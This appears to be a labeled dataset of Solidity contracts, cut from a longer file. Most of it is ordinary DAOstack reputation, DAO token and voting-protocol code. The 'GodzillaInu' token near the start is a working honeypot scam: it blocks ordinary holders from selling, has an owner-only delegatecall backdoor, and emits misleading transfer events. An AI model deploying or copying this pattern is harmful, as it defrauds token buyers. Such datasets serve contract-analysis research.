function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract GodzillaInu {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 1,280 |
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
contract DxReputation is Reputation {
constructor() public {}
} | 1 | 4,531 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.4;
interface ProposalExecuteInterface {
function executeProposal(bytes32 _proposalId, int _decision) external returns(bool);
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function burnFrom(address from, uint256 value) public {
_burnFrom(from, value);
}
}
pragma solidity ^0.5.4;
contract DAOToken is ERC20, ERC20Burnable, Ownable {
string public name;
string public symbol;
uint8 public constant decimals = 18;
uint256 public cap;
constructor(string memory _name, string memory _symbol, uint256 _cap)
public {
name = _name;
symbol = _symbol;
cap = _cap;
}
function mint(address _to, uint256 _amount) public onlyOwner returns (bool) {
if (cap > 0)
require(totalSupply().add(_amount) <= cap);
_mint(_to, _amount);
return true;
}
}
pragma solidity ^0.5.2;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
pragma solidity ^0.5.4;
library SafeERC20 {
using Address for address;
bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)")));
bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)")));
bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal {
require(_erc20Addr.isContract());
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal {
require(_erc20Addr.isContract());
require((_value == 0) || (IERC20(_erc20Addr).allowance(address(this), _spender) == 0));
(bool success, bytes memory returnValue) =
_erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value));
require(success);
require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0)));
}
}
pragma solidity ^0.5.4;
contract Avatar is Ownable {
using SafeERC20 for address;
string public orgName;
DAOToken public nativeToken;
Reputation public nativeReputation;
event GenericCall(address indexed _contract, bytes _data, uint _value, bool _success);
event SendEther(uint256 _amountInWei, address indexed _to);
event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value);
event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value);
event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value);
event ReceiveEther(address indexed _sender, uint256 _value);
event MetaData(string _metaData);
constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public {
orgName = _orgName;
nativeToken = _nativeToken;
nativeReputation = _nativeReputation;
}
function() external payable {
emit ReceiveEther(msg.sender, msg.value);
}
function genericCall(address _contract, bytes memory _data, uint256 _value)
public
onlyOwner
returns(bool success, bytes memory returnValue) {
(success, returnValue) = _contract.call.value(_value)(_data);
emit GenericCall(_contract, _data, _value, success);
}
function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) {
_to.transfer(_amountInWei);
emit SendEther(_amountInWei, _to);
return true;
}
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransfer(_to, _value);
emit ExternalTokenTransfer(address(_externalToken), _to, _value);
return true;
}
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value
)
public onlyOwner returns(bool)
{
address(_externalToken).safeTransferFrom(_from, _to, _value);
emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value);
return true;
}
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value)
public onlyOwner returns(bool)
{
address(_externalToken).safeApprove(_spender, _value);
emit ExternalTokenApproval(address(_externalToken), _spender, _value);
return true;
}
function metaData(string memory _metaData) public onlyOwner returns(bool) {
emit MetaData(_metaData);
return true;
}
}
pragma solidity ^0.5.4;
contract UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32);
}
pragma solidity ^0.5.4;
contract GlobalConstraintInterface {
enum CallPhase { Pre, Post, PreAndPost }
function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool);
function when() public returns(CallPhase);
}
pragma solidity ^0.5.4;
interface ControllerInterface {
function mintReputation(uint256 _amount, address _to, address _avatar)
external
returns(bool);
function burnReputation(uint256 _amount, address _from, address _avatar)
external
returns(bool);
function mintTokens(uint256 _amount, address _beneficiary, address _avatar)
external
returns(bool);
function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar)
external
returns(bool);
function unregisterScheme(address _scheme, address _avatar)
external
returns(bool);
function unregisterSelf(address _avatar) external returns(bool);
function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar)
external returns(bool);
function removeGlobalConstraint (address _globalConstraint, address _avatar)
external returns(bool);
function upgradeController(address _newController, Avatar _avatar)
external returns(bool);
function genericCall(address _contract, bytes calldata _data, Avatar _avatar, uint256 _value)
external
returns(bool, bytes memory);
function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar)
external returns(bool);
function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar)
external
returns(bool);
function externalTokenTransferFrom(
IERC20 _externalToken,
address _from,
address _to,
uint256 _value,
Avatar _avatar)
external
returns(bool);
function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar)
external
returns(bool);
function metaData(string calldata _metaData, Avatar _avatar) external returns(bool);
function getNativeReputation(address _avatar)
external
view
returns(address);
function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool);
function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32);
function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32);
function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4);
function globalConstraintsCount(address _avatar) external view returns(uint, uint);
function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool);
}
pragma solidity ^0.5.4;
contract UniversalScheme is UniversalSchemeInterface {
function getParametersFromController(Avatar _avatar) internal view returns(bytes32) {
require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)),
"scheme is not registered");
return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar));
}
}
pragma solidity ^0.5.2;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
if (signature.length != 65) {
return (address(0));
}
bytes32 r;
bytes32 s;
uint8 v;
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0) {
return address(0);
}
if (v != 27 && v != 28) {
return address(0);
}
return ecrecover(hash, v, r, s);
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.4;
library RealMath {
uint256 constant private REAL_BITS = 256;
uint256 constant private REAL_FBITS = 40;
uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS;
function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) {
uint256 tempRealBase = realBase;
uint256 tempExponent = exponent;
uint256 realResult = REAL_ONE;
while (tempExponent != 0) {
if ((tempExponent & 0x1) == 0x1) {
realResult = mul(realResult, tempRealBase);
}
tempExponent = tempExponent >> 1;
if (tempExponent != 0) {
tempRealBase = mul(tempRealBase, tempRealBase);
}
}
return realResult;
}
function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) {
return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE);
}
function mul(uint256 realA, uint256 realB) private pure returns (uint256) {
uint256 res = realA * realB;
require(res/realA == realB, "RealMath mul overflow");
return (res >> REAL_FBITS);
}
function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) {
return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator));
}
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.2;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
pragma solidity ^0.5.4;
contract GenesisProtocolLogic is IntVoteInterface {
using SafeMath for uint256;
using Math for uint256;
using RealMath for uint216;
using RealMath for uint256;
using Address for address;
enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod}
enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed}
struct Parameters {
uint256 queuedVoteRequiredPercentage;
uint256 queuedVotePeriodLimit;
uint256 boostedVotePeriodLimit;
uint256 preBoostedVotePeriodLimit;
uint256 thresholdConst;
uint256 limitExponentValue;
uint256 quietEndingPeriod;
uint256 proposingRepReward;
uint256 votersReputationLossRatio;
uint256 minimumDaoBounty;
uint256 daoBountyConst;
uint256 activationTime;
address voteOnBehalf;
}
struct Voter {
uint256 vote;
uint256 reputation;
bool preBoosted;
}
struct Staker {
uint256 vote;
uint256 amount;
uint256 amount4Bounty;
}
struct Proposal {
bytes32 organizationId;
address callbacks;
ProposalState state;
uint256 winningVote;
address proposer;
uint256 currentBoostedVotePeriodLimit;
bytes32 paramsHash;
uint256 daoBountyRemain;
uint256 daoBounty;
uint256 totalStakes;
uint256 confidenceThreshold;
uint256 expirationCallBountyPercentage;
uint[3] times;
bool daoRedeemItsWinnings;
mapping(uint256 => uint256 ) votes;
mapping(uint256 => uint256 ) preBoostedVotes;
mapping(address => Voter ) voters;
mapping(uint256 => uint256 ) stakes;
mapping(address => Staker ) stakers;
}
event Stake(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _staker,
uint256 _vote,
uint256 _amount
);
event Redeem(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemDaoBounty(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event RedeemReputation(bytes32 indexed _proposalId,
address indexed _organization,
address indexed _beneficiary,
uint256 _amount
);
event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState);
event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState);
event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount);
event ConfidenceLevelChange(bytes32 indexed _proposalId, uint256 _confidenceThreshold);
mapping(bytes32=>Parameters) public parameters;
mapping(bytes32=>Proposal) public proposals;
mapping(bytes32=>uint) public orgBoostedProposalsCnt;
mapping(bytes32 => address ) public organizations;
mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted;
uint256 constant public NUM_OF_CHOICES = 2;
uint256 constant public NO = 2;
uint256 constant public YES = 1;
uint256 public proposalsCnt;
IERC20 public stakingToken;
address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf;
uint256 constant private MAX_BOOSTED_PROPOSALS = 4096;
constructor(IERC20 _stakingToken) public {
if (address(GEN_TOKEN_ADDRESS).isContract()) {
stakingToken = IERC20(GEN_TOKEN_ADDRESS);
} else {
stakingToken = _stakingToken;
}
}
modifier votable(bytes32 _proposalId) {
require(_isVotable(_proposalId));
_;
}
function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization)
external
returns(bytes32)
{
require(now > parameters[_paramsHash].activationTime, "not active yet");
require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50);
bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt));
proposalsCnt = proposalsCnt.add(1);
Proposal memory proposal;
proposal.callbacks = msg.sender;
proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization));
proposal.state = ProposalState.Queued;
proposal.times[0] = now;
proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit;
proposal.proposer = _proposer;
proposal.winningVote = NO;
proposal.paramsHash = _paramsHash;
if (organizations[proposal.organizationId] == address(0)) {
if (_organization == address(0)) {
organizations[proposal.organizationId] = msg.sender;
} else {
organizations[proposal.organizationId] = _organization;
}
}
uint256 daoBounty =
parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100);
if (daoBounty < parameters[_paramsHash].minimumDaoBounty) {
proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty;
} else {
proposal.daoBountyRemain = daoBounty;
}
proposal.totalStakes = proposal.daoBountyRemain;
proposals[proposalId] = proposal;
proposals[proposalId].stakes[NO] = proposal.daoBountyRemain;
emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash);
return proposalId;
}
function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) {
Proposal storage proposal = proposals[_proposalId];
require(proposal.state == ProposalState.Boosted || proposal.state == ProposalState.QuietEndingPeriod,
"proposal state in not Boosted nor QuietEndingPeriod");
require(_execute(_proposalId), "proposal need to expire");
uint256 expirationCallBountyPercentage =
(uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15)));
if (expirationCallBountyPercentage > 100) {
expirationCallBountyPercentage = 100;
}
proposal.expirationCallBountyPercentage = expirationCallBountyPercentage;
expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100);
require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed");
emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty);
}
function setParameters(
uint[11] calldata _params,
